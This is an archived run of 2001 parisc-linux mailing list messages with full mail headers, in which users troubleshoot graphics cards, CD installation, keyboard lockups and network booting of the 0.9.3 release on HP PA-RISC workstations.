Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 22:30:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADE48482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 22:30:36 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA21618;
	Thu, 13 Dec 2001 22:25:32 -0700
In-Reply-To: Message from "Edward Alfert" <edward@alfert.com> 
   of "Thu, 13 Dec 2001 23:08:42 EST." <001f01c18455$04d1cef0$0201a8c0@w2kpro> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13349

"Edward Alfert" wrote:
> Thanks... This is fun... 

cool!

> New kernel 2.4.19 is up and running... I'm able to use my monitor ...
> Initially I couldn't log in but found in the FAQ that I needed to
> "uncomment" tty0 from /etc/inittab ... By the way, there is no entry for
> tty0 in /etc/inittab, so I created one... So the FAQ shouldn't read
> "uncomment" but instead "create".

I punt. Met my web site hacking quota for the day...some substantial
updates to the 0.9.3 errata:
	http://www.parisc-linux.org/release-0.9/errata-093.html

(You do want to know how to avoid file corruption right?)

> The system is a C240 with FX4 video card (that's HP Visualize FX-4 with
> 18mb RAM) ... The GRAPHICS(4) is set to 1280 x 1024 @ 72Hz.

I don't think FX-4 is supported yet. Helger Deller or Thomas Bogendoerf
should be able to confirm in a few hours if no one else can.
Looks like we could use a seperate table for unsupported IO devices
and supported gfx on:
	http://www.parisc-linux.org/release-0.9/systems-093.html

grant



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] What keywords should I use to find the answer?
Date: Fri, 14 Dec 2001 00:53:15 -0500
Organization: Alfert-Rivera Family
Lines: 31
Approved: news@gmane.org
Message-ID: <000001c18463$a054b820$0201a8c0@w2kpro>
References: <200112140525.WAA21618@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620847 31555 80.91.229.3 (22 Nov 2014 01:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:27 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 22:52:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail31.sdc1.sfba.home.com (femail31.sdc1.sfba.home.com [24.254.60.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFB52482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 22:52:11 -0700 (MST)
Original-Received: from w2kpro ([24.248.173.115]) by femail31.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011214055209.ORRC19480.femail31.sdc1.sfba.home.com@w2kpro>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 13 Dec 2001 21:52:09 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
In-Reply-To: <200112140525.WAA21618@puffin.external.hp.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13350

Ok... So I'm experimenting with leaving the fx4 for booting and
interacting in text mode (/dev/tty0) and then I installed a PCI voodoo 3
in graphics pci slot number 1.   the fx4 is in slot 4.

I reran /usr/X11R6/bin/xf86config and entered the new information.

When executing startx, it probes the hardware and sees both the FX4
(which it doesn't know what it is), and it also sees the Voodoo 3 which
it identifies correctly.

But it still fails to start the server.  Same error messages:
       (EE) No devices detected.
       Fatal server error:
       no screens found

Any ideas if this is possible.. Have 2 video cards and use the supported
one for gui?

> 
> > The system is a C240 with FX4 video card (that's HP Visualize FX-4 
> > with 18mb RAM) ... The GRAPHICS(4) is set to 1280 x 1024 @ 72Hz.
> 
> I don't think FX-4 is supported yet. Helger Deller or Thomas 
> Bogendoerf should be able to confirm in a few hours if no one 
> else can. Looks like we could use a seperate table for 
> unsupported IO devices and supported gfx on:
> 	http://www.parisc-linux.org/release-0.9/systems-093.html
> 




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dumb question.. :(
Date: Fri, 14 Dec 2001 17:31:12 +1100
Lines: 17
Approved: news@gmane.org
Message-ID: <000701c18468$ecfca4d0$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620847 31562 80.91.229.3 (22 Nov 2014 01:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:27 +0000 (UTC)
To: "parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 23:27:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oflmta02bw.bigpond.com (unknown [139.134.6.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B850482A
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 23:27:34 -0700 (MST)
Original-Received: from winnie ([144.135.24.78]) by
          oflmta02bw.bigpond.com (Netscape Messaging Server 4.15) with
          SMTP id GOBM9700.D9F for <parisc-linux@parisc-linux.org>; Fri,
          14 Dec 2001 16:34:19 +1000 
Original-Received: from CPE-203-51-25-196.nsw.bigpond.net.au ([203.51.25.196]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V3.0g 29/14442); 14 Dec 2001 16:27:29
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13351

Hi Everyone,

I just d/led and burnt 0.9.3 iso and in my excitement I've stuck the CD in
booted and it's worked!

Problem is now that I'm being asked were the install files are on the
cdrom.. but I have no idea...

what's the file system look like I'm installing serial on a 715/64.

If I don't hear from anyone, I guess I'll just have to restart the install
and check the file system on another computer.. :)

Pete




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dumb question.. :(
Date: Fri, 14 Dec 2001 07:06:38 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20011214070638.E25715@linuxcare.com>
References: <000701c18468$ecfca4d0$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620847 31567 80.91.229.3 (22 Nov 2014 01:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:27 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 00:07:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 354D2482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 00:07:15 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A220BB00C; Fri, 14 Dec 2001 07:06:38 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <000701c18468$ecfca4d0$090ba8c0@winnie>; from plaven@bigpond.net.au on Fri, Dec 14, 2001 at 05:31:12PM +1100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13352

On Fri, Dec 14, 2001 at 05:31:12PM +1100, Peter Lavender wrote:
> Hi Everyone,
> 
> I just d/led and burnt 0.9.3 iso and in my excitement I've stuck the CD in
> booted and it's worked!
> 
> Problem is now that I'm being asked were the install files are on the
> cdrom.. but I have no idea...

Generally speaking, just hit return to most of those confusing
questions when doing a CD install.  The exception is that on
one screen you'll be offered two choices of kernel/modules, one for
32 bit and one for 64.  Make sure you pick the right one.  If you
are not sure which was booted, you could scroll down to 'execute a
shell' on the menu and do 'uname -a' (or Alt-F2 if on graphics console).
You may also get asked about installing woody or sid; choose woody,
which is the first option, so again <return> does the right thing.

I've just heard that adding 'cdrom' as a boot option makes some of
this confusion go away, but I havn't investigated yet.

Richard




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3 on a B132L
Date: Fri, 14 Dec 2001 09:24:30 +0100 (CET)
Lines: 46
Approved: news@gmane.org
Message-ID: <1008318270.3c19b73ecfadb@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620848 31570 80.91.229.3 (22 Nov 2014 01:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:28 +0000 (UTC)
To: parisc <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 01:33:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B5E4482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 01:33:18 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP id 1BD138562
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 09:32:56 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBE8OUi24527
	for parisc-linux@parisc-linux.org; Fri, 14 Dec 2001 09:24:30 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13353

Hi folks,

First of all, thanks for all the hard work that has gone into 0.9.3. Excellent!

I've got a couple of observations and/or questions. Apologies for the lack
of dmesg output etc. - I'm at work and the workstation is at home.
I have a B132L, with the Visualize EG, GRAPHICS(0), on board frame buffer
(that's Gecko, if I'm not mistaken) and a 4071B in the GSC slot, GRAPHICS(2)
(this thing is Coral in the dmesg output I believe).

Previously, when playing around with 0.9.2 I had set the display path to
GRAPHICS(0), as the 4071B was unsupported. As it turned out, the PS/2
keyboard problems forced me to use a serial console in the end anyway, but
at least the EG seemed to be supported.

So yesterday I booted up 0.9.3 in this configuration. The messages started
to appear on the screen, then stopped after the 'if you don't see anything
more' message. In a flash of inspiration, I moved the monitor cable to the
4071B, and lo and behold, all the output was there! The dmesg shows that
its finding the 4071B before the EG, and using that as the console display
even though the display path is set to GRAPHICS(0). Is this expected behaviour
at this point in time, or is there something fishy going on.

Switching the display path to GRAPHICS(2) fixed things - 0.9.3 booted and
displayed on the 4071B.

So far so good. Installation seemed to go mostly ok - I have two disks on
the FW-Diff controller in this box. I guess I should be specifying the
burst:3 parameter to avoid disk corruption.

The other problem I've experienced is keyboard lockup with the message
'LASI PS/2 keyboard timeout' scrolling up the screen. I was using a
generic PS/2 keyboard at the time. Seems to kick in when the machine
is installing from the cd and I'm messing about on another virtual
console - although that is really just speculation. I can stick the B132L
on the net tonight and log in to see what's going on next time the lockup
occurs - anything in particular I should be looking for?

Regards,

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tommi Aihkisalo" <tommi.aihkisalo@vtt.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Network bootproblem with 712/80
Date: Fri, 14 Dec 2001 16:11:37 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi>
References: <1008318270.3c19b73ecfadb@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620848 31573 80.91.229.3 (22 Nov 2014 01:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:28 +0000 (UTC)
To: "parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 07:12:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from melanieb.vtt.fi (melanieb.vtt.fi [130.188.1.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91828482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 07:12:55 -0700 (MST)
Original-Received: from elemail.ele.vtt.fi (localhost [127.0.0.1])
	by melanieb.vtt.fi (8.9.3/8.9.3) with ESMTP id QAA17281
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 16:12:53 +0200 (EET)
Original-Received: from ele8120 (ele8120.ele.vtt.fi [130.188.98.120])
	by elemail.ele.vtt.fi (8.9.1a/8.9.1) with SMTP id QAA20225
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 16:12:52 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13354

Hello all!

I am having a problem with my 712/80 when booting with bootp/tftp. With some
effort I got it requesting kernel image (lifimage) over the network. The
download starts but almost the same time it ends and it retries it over and
over again. With Weird-solution's bootp and tftp server I can see that the
download starts many times but all of them results error. When using the
RedHat's bootp/tftp, the tcpdump shows (what I have understood from the
output) that the HP is querying a file of name '.' (dot), this is quite
strange...

Have I understood correctly that the lifimage (from the 0.9.3 installation
cd) is the correct kernel image?

Tommi Aihkisalo
VTT Electronics @ Raahe

- ERROR 406: file corrupt: config.earth --- reboot universe? (Y/N)




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Network bootproblem with 712/80
Date: Fri, 14 Dec 2001 15:37:20 +0100 (CET)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112141532470.29092-100000@r6.petescaff.com>
References: <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620848 31576 80.91.229.3 (22 Nov 2014 01:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:28 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Tommi Aihkisalo <tommi.aihkisalo@vtt.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 07:37:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B3DE482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 07:37:25 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16EtSi-00063q-00; Fri, 14 Dec 2001 15:37:20 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 16EtSi-0008Hv-00; Fri, 14 Dec 2001 15:37:20 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <000b01c184a9$3f00a1b0$7862bc82@ele.vtt.fi>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13355

Hello Tommi

On Fri, 14 Dec 2001, Tommi Aihkisalo wrote:

> Hello all!
>
> I am having a problem with my 712/80 when booting with bootp/tftp. With some
> effort I got it requesting kernel image (lifimage) over the network. The

[SNIP]

I too have just tried a net boot of 0.9.3 from a remote location and also
failed. I noticed MUCH too late that the lifimage contains the following
files:

    0/vmlinux32 3122078 bytes @ 0x7800
    0/vmlinux64 3990942 bytes @ 0x302000
    0/ramdisk 1946807 bytes @ 0x6d0800

But PALO chooses a default kernel path of

    0/linux

I assume that is simply that the PALO definition in the lifimage is
incorrect. Once I get my remote button pusher to power cycle the system
for me (she is out shopping right now) I will try an interactive boot &
change the command line to boot the correct kernel.

If you get chance to try this before me then please let me know how it
goes.

Cheers
PeteM




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 on a B132L
Date: Fri, 14 Dec 2001 15:41:49 +0100 (CET)
Lines: 48
Approved: news@gmane.org
Message-ID: <1008340909.3c1a0fadd700f@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620849 31580 80.91.229.3 (22 Nov 2014 01:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:29 +0000 (UTC)
To: parisc <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 07:50:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F4B1482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 07:50:20 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP id 45E43883D
	for <parisc-linux@parisc-linux.org>; Fri, 14 Dec 2001 15:50:19 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBEEfnv28746
	for parisc-linux@parisc-linux.org; Fri, 14 Dec 2001 15:41:49 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13356

Quoting "James P. Kinney III" <jkinney@localnetsolutions.com>:

> Andy,
>
> This is great news! I have a C160 with the A4071B_LZ graphics card in
> slot 3. I get nada once the "you may not see anything beyond this
> point
> message" is done :( . So _please_ send details on command line and
> config to the group. I would like to get the serial console off my
> desk
> and use this huge 4033A monitor.
>

Hi James,

I just borrowed a C110 with an A4071B in slot 3. Booting from the
CD with all default parameters seemed to work fine for me. This is
the only graphics device in the C110, so there's no room for confusion
there. Typing 'pa con' in the PDC gives:

    Console path:       GRAPHICS3

Don't know the exact model of the A4071B (LZ etc.) - the one in the
B132L has a kind of daughter board, the one in the C110 doesn't.
Both seem to work fine.

Another point - I was playng with a 725/100 as well today. The
internal disk is a FW-Diff connected to a Bluefish card. it
exhibits the nasty timeout/lockup/reset behaviour reported for
720's and 735's with the sym58c720 interface when the disk is
attached. My current plan is to boot on a SE disk and to try
an AHA-2744W in an EISA slot for the FW-Diff disk. Will this
work?

Regards,

-Andy



------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/


------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Network bootproblem with 712/80
Date: Fri, 14 Dec 2001 17:44:05 +0100 (CET)
Lines: 66
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112141738450.29092-100000@r6.petescaff.com>
References: <Pine.LNX.4.42.0112141736530.29092-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620849 31583 80.91.229.3 (22 Nov 2014 01:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 09:44:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0D79482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 09:44:06 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16EvRN-00068K-00
	for parisc-linux@lists.parisc-linux.org; Fri, 14 Dec 2001 17:44:05 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 16EvRN-00008G-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 17:44:05 +0100
X-X-Sender: apm@r6.petescaff.com
